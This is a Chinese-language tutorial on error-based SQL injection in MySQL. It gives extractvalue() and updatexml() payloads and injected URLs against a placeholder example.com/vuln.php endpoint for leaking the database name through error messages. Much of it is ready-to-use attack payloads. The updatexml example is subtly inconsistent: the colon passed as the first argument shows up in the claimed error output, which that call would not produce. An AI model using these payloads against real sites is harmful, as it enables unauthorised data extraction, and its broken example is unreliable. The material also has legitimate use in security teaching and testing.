Error Based SQL Injection

报错注入（Error-Based SQL Injection）是一种利用数据库错误信息来获取敏感数据的攻击技术。当应用程序在处理 SQL 查询时，如果存在漏洞，攻击者可以通过构造特定的 SQL 语句，使得数据库返回错误信息，从而泄露敏感数据。

相关函数

1. extractvalue()

• extractvalue() 是 MySQL 中的一个 XML 函数，用于从 XML 文档中提取值。通过构造不合法的 XML 路径，可以触发错误并泄露信息。
• 示例：

extractvalue(1, concat(0x5c, database()))

解释：

• 0x5c 是反斜杠的十六进制表示，用于构造不合法的 XML 路径。
• database() 是 MySQL 内置函数，返回当前数据库的名称。
• concat(0x5c, database()) 将反斜杠和数据库名称拼接在一起，形成一个不合法的 XML 路径。

2. updatexml()

• updatexml() 是 MySQL 中的另一个 XML 函数，用于更新 XML 文档中的值。通过构造不合法的 XML 路径，可以触发错误并泄露信息。
• 示例：

updatexml(0x3a, concat(1, database()), 1)

解释：

• 0x3a 是冒号的十六进制表示，用于构造不合法的 XML 路径。
• database() 是 MySQL 内置函数，返回当前数据库的名称。
• concat(1, database()) 将数字 1 和数据库名称拼接在一起，形成一个不合法的 XML 路径。

使用方法

假设你有一个存在 SQL 注入漏洞的 URL，例如：

http://example.com/vuln.php?id=1

你可以通过以下步骤进行报错注入：

1. 使用 extractvalue() 进行报错注入

构造 URL：

http://example.com/vuln.php?id=1 and extractvalue(1, concat(0x5c, database()))

解释：

• id=1 是正常的查询参数。
• and extractvalue(1, concat(0x5c, database())) 是注入的 SQL 语句。
• 如果应用程序存在 SQL 注入漏洞，数据库会返回错误信息，其中包含当前数据库的名称。

2. 使用 updatexml() 进行报错注入

构造 URL：

http://example.com/vuln.php?id=1 and updatexml(0x3a, concat(1, database()), 1)

解释：

• id=1 是正常的查询参数。
• and updatexml(0x3a, concat(1, database()), 1) 是注入的 SQL 语句。
• 如果应用程序存在 SQL 注入漏洞，数据库会返回错误信息，其中包含当前数据库的名称。

示例

假设你有一个存在 SQL 注入漏洞的 URL：

http://example.com/vuln.php?id=1

你可以通过以下步骤进行报错注入：

使用 extractvalue() 进行报错注入

构造 URL：

http://example.com/vuln.php?id=1 and extractvalue(1, concat(0x5c, database()))

如果应用程序存在 SQL 注入漏洞，你可能会看到类似以下的错误信息：

XPATH syntax error: '\your_database_name'

使用 updatexml() 进行报错注入

构造 URL：

http://example.com/vuln.php?id=1 and updatexml(0x3a, concat(1, database()), 1)

如果应用程序存在 SQL 注入漏洞，你可能会看到类似以下的错误信息：

XPATH syntax error: ':1your_database_name'

总结

报错注入是一种利用数据库错误信息来获取敏感数据的攻击技术。通过构造特定的 SQL 语句，攻击者可以触发数据库错误并泄露信息。常用的函数包括 extractvalue() 和 updatexml()。希望这个教程对你有所帮助！